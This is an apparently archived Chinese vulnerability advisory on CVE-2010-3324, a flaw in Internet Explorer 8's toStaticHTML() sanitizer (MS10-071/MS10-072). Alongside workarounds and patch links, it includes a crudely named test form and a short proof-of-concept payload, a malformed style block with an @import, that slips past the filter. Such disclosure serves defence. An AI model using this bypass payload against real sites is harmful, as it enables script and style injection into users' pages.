安全研究

安全漏洞
Microsoft IE 8 toStaticHTML()函数不安全HTML过滤漏洞(MS10-071/MS10-072)

发布日期:2010-08-16
更新日期:2010-10-12

受影响系统:
Microsoft Internet Explorer 8.0
Microsoft Windows SharePoint Services 3.0 sp2
Microsoft SharePoint Server 2007 SP2
Microsoft SharePoint Foundation 2010
Microsoft Office Web Apps
Microsoft Groove Server 2010
描述:
BUGTRAQ  ID: 42467
CVE(CAN) ID: CVE-2010-3324

Internet Explorer是Windows操作系统中默认捆绑的web浏览器。

IE8中对窗口对象提供了名为toStaticHTML的过滤方式。如果向这个函数传送了HTML字符串,在返回之前会删除所有可执行的脚本结构。例如,可使用toStaticHTML方式确保从postMessage调用所接收到的HTML无法执行脚本,但可利用基本格式:

document.attachEvent('onmessage',function(e) {
if (e.domain == 'weather.example.com') {
spnWeather.innerHTML = window.toStaticHTML(e.data);
}
}

调用:

window.toStaticHTML("This is some <b>HTML</b> with embedded script following... <script>alert('bang!');</script>!");

会返回:

This is some <b>HTML</b> with embedded script following... !

<*来源:Web Sec (root@80sec.com
  
  链接:http://marc.info/?l=full-disclosure&m=128195068129446&q=p5
        http://secunia.com/advisories/41746/
        http://www.microsoft.com/technet/security/bulletin/MS10-071.mspx?pf=true
        http://www.us-cert.gov/cas/techalerts/TA10-285A.html
        http://www.microsoft.com/technet/security/bulletin/MS10-072.mspx?pf=true
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<script type="text/javascript">
function fuckie()
{
var szInput = document.shit.input.value;
var szStaticHTML = toStaticHTML(szInput);

ResultComment = szStaticHTML;
document.shit.output.value = ResultComment;
}
</script>

<form name="shit">
<textarea name='input' cols=40 rows=20>
</textarea>
<textarea name='output' cols=40 rows=20>
</textarea>

<input type=button value="fuck_me" name="fuck" onclick=fuckie();>
</form>


<style>

}@import url('//127.0.0.1/1.css');aaa

{;}

</style>

<div id="x">Fuck Ie</div>

建议:
临时解决方法:

* 以纯文本读取邮件。
            
* 将Internet Explorer配置为在Internet和本地Intranet安全区域中运行ActiveX控件和活动脚本之前进行提示。
        
* 将Internet 和本地Intranet安全区域设置设为“高”,以便在这些区域中运行ActiveX控件和活动脚本之前进行提示。

厂商补丁:

Microsoft
---------
Microsoft已经为此发布了一个安全公告(MS10-071)以及相应补丁:
MS10-071:Cumulative Security Update for Internet Explorer (2360131)
链接:http://www.microsoft.com/technet/security/bulletin/MS10-071.mspx?pf=true

浏览次数:2703
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障